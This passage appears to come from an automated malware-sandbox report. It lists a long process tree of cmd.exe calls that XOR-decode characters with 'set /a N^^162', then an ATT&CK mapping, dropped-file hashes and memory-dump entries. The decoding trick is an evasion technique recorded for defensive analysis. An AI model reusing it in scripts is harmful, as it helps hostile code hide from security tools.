  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 140^^162"
      4⤵
      PID:2052
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 240^^162"
      4⤵
      PID:2928
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 215^^162"
      4⤵
      PID:1044
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 204^^162"
      4⤵
      PID:1524
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 214^^162"
      4⤵
      PID:2512
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 203^^162"
      4⤵
      PID:1720
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 207^^162"
      4⤵
      PID:2860
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 199^^162"
      4⤵
      PID:2544
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 140^^162"
      4⤵
      PID:2216
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 235^^162"
      4⤵
      PID:1656
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 204^^162"
      4⤵
      PID:1000
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 214^^162"
      4⤵
      PID:2296
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 199^^162"
      4⤵
      PID:936
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 208^^162"
      4⤵
      PID:1612
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 205^^162"
      4⤵
      PID:1724
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 210^^162"
      4⤵
      PID:1772
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 241^^162"
      4⤵
      PID:900
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 199^^162"
      4⤵
      PID:2112
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 208^^162"
      4⤵
      PID:1596
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 212^^162"
      4⤵
      PID:1420
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 203^^162"
      4⤵
      PID:3040
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 193^^162"
      4⤵
      PID:3036
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 199^^162"
      4⤵
      PID:2868
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 209^^162"
      4⤵
      PID:572
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 140^^162"
      4⤵
      PID:1940
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 234^^162"
      4⤵
      PID:3008
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 195^^162"
      4⤵
      PID:1976
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 204^^162"
      4⤵
      PID:288
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 198^^162"
      4⤵
      PID:2836
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 206^^162"
      4⤵
      PID:556
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 199^^162"
      4⤵
      PID:2032
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 240^^162"
      4⤵
      PID:3016
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 199^^162"
      4⤵
      PID:2360
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 196^^162"
      4⤵
      PID:1908
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 255^^162"
      4⤵
      PID:2372
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 138^^162"
      4⤵
      PID:2408
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 236^^162"
      4⤵
      PID:2008
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 199^^162"
      4⤵
      PID:2704
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 213^^162"
      4⤵
      PID:856
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 143^^162"
      4⤵
      PID:624
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 237^^162"
      4⤵
      PID:744
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 192^^162"
      4⤵
      PID:2036
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 200^^162"
      4⤵
      PID:2300
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 199^^162"
      4⤵
      PID:2376
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 193^^162"
      4⤵
      PID:836
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 214^^162"
      4⤵
      PID:1948
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 130^^162"
      4⤵
      PID:2628
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 241^^162"
      4⤵
      PID:1648
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 219^^162"
      4⤵
      PID:2212
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 209^^162"
      4⤵
      PID:1912
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 214^^162"
      4⤵
      PID:2388
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 199^^162"
      4⤵
      PID:2064
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 207^^162"
      4⤵
      PID:1552
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 140^^162"
      4⤵
      PID:1932
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 240^^162"
      4⤵
      PID:940
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 215^^162"
      4⤵
      PID:1676
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 204^^162"
      4⤵
      PID:1784
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 214^^162"
      4⤵
      PID:2916
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 203^^162"
      4⤵
      PID:2576
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 207^^162"
      4⤵
      PID:2644
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 199^^162"
      4⤵
      PID:868
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 140^^162"
      4⤵
      PID:1992
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 235^^162"
      4⤵
      PID:2320
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 204^^162"
      4⤵
      PID:1236
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 214^^162"
      4⤵
      PID:2260
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 199^^162"
      4⤵
      PID:2840
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 208^^162"
      4⤵
      PID:1980
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 205^^162"
      4⤵
      PID:296
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 210^^162"
      4⤵
      PID:616
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 241^^162"
      4⤵
      PID:2804
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 199^^162"
      4⤵
      PID:1936
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 208^^162"
      4⤵
      PID:2120
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 212^^162"
      4⤵
      PID:1256
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 203^^162"
      4⤵
      PID:2808
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 193^^162"
      4⤵
      PID:2708
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 199^^162"
      4⤵
      PID:2208
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 209^^162"
      4⤵
      PID:2652
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 140^^162"
      4⤵
      PID:2220
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 234^^162"
      4⤵
      PID:2844
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 195^^162"
      4⤵
      PID:1716
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 204^^162"
      4⤵
      PID:320
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 198^^162"
      4⤵
      PID:2344
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 206^^162"
      4⤵
      PID:2540
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 199^^162"
      4⤵
      PID:1532
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 240^^162"
      4⤵
      PID:1592
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 199^^162"
      4⤵
      PID:2172
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 196^^162"
      4⤵
      PID:2516
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 138^^162"
      4⤵
      PID:864
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 138^^162"
      4⤵
      PID:328
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 236^^162"
      4⤵
      PID:1916
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 199^^162"
      4⤵
      PID:2060
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 213^^162"
      4⤵
      PID:884
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 143^^162"
      4⤵
      PID:2040
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 237^^162"
      4⤵
      PID:1696
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 192^^162"
      4⤵
      PID:1072
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 200^^162"
      4⤵
      PID:848
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 199^^162"
      4⤵
      PID:2988
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 193^^162"
      4⤵
      PID:2216
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 214^^162"
      4⤵
      PID:960
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 130^^162"
      4⤵
      PID:2492
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 235^^162"
      4⤵
      PID:1688
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 204^^162"
      4⤵
      PID:2944
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 214^^162"
      4⤵
      PID:1588
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 242^^162"
      4⤵
      PID:1636
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 214^^162"
      4⤵
      PID:1708
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 208^^162"
      4⤵
      PID:1928
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 139^^162"
      4⤵
      PID:1800
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 142^^162"
      4⤵
      PID:2852
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 130^^162"
      4⤵
      PID:524
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 138^^162"
      4⤵
      PID:2928
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 134^^162"
      4⤵
      PID:2712

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\0JB2UVVXF5SOBBUTVAAA.temp

Filesize
7KB

MD5
80f3482c16ea7433d6fb6e2b3509e023

SHA1
8693c550fe60ef003faef5b8a019291a2d12595b

SHA256
a1d26209c827887bac3795f45864d6b8031b1fe625f84f34ea4446f48111e6b4

SHA512
7851ce57e22050ce778127338d555a6b588aa71545c79a8038192e8bd66de27771fd24bb06ae4e813ab9784195bfb3468fabd0810a942dec600834973f8bbb0d

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

Filesize
7KB

MD5
80f3482c16ea7433d6fb6e2b3509e023

SHA1
8693c550fe60ef003faef5b8a019291a2d12595b

SHA256
a1d26209c827887bac3795f45864d6b8031b1fe625f84f34ea4446f48111e6b4

SHA512
7851ce57e22050ce778127338d555a6b588aa71545c79a8038192e8bd66de27771fd24bb06ae4e813ab9784195bfb3468fabd0810a942dec600834973f8bbb0d

Download Submit
memory/1192-16-0x0000000002340000-0x0000000002380000-memory.dmp

Filesize
256KB

Download
memory/1192-30-0x00000000743A0000-0x000000007494B000-memory.dmp

Filesize
5.7MB

Download
memory/1192-29-0x0000000002340000-0x0000000002380000-memory.dmp

Filesize
256KB

Download
memory/1192-27-0x00000000743A0000-0x000000007494B000-memory.dmp

Filesize
5.7MB

Download
memory/1192-17-0x00000000743A0000-0x000000007494B000-memory.dmp

Filesize
5.7MB

Download
memory/1192-14-0x00000000743A0000-0x000000007494B000-memory.dmp

Filesize
5.7MB

Download
memory/1192-15-0x0000000002340000-0x0000000002380000-memory.dmp

Filesize
256KB

Download
memory/2696-6-0x00000000025E0000-0x0000000002620000-memory.dmp

Filesize
256KB

Download
memory/2696-3-0x00000000743A0000-0x000000007494B000-memory.dmp

Filesize
5.7MB

Download
memory/2696-18-0x00000000743A0000-0x000000007494B000-memory.dmp

Filesize
5.7MB

Download
memory/2696-21-0x00000000025E0000-0x0000000002620000-memory.dmp

Filesize
256KB

Download
memory/2696-22-0x00000000025E0000-0x0000000002620000-memory.dmp

Filesize
256KB

Download
memory/2696-5-0x00000000025E0000-0x0000000002620000-memory.dmp

Filesize
256KB

Download
memory/2696-4-0x00000000025E0000-0x0000000002620000-memory.dmp

Filesize
256KB

Download
memory/2696-2-0x00000000743A0000-0x000000007494B000-memory.dmp

Filesize
5.7MB

Download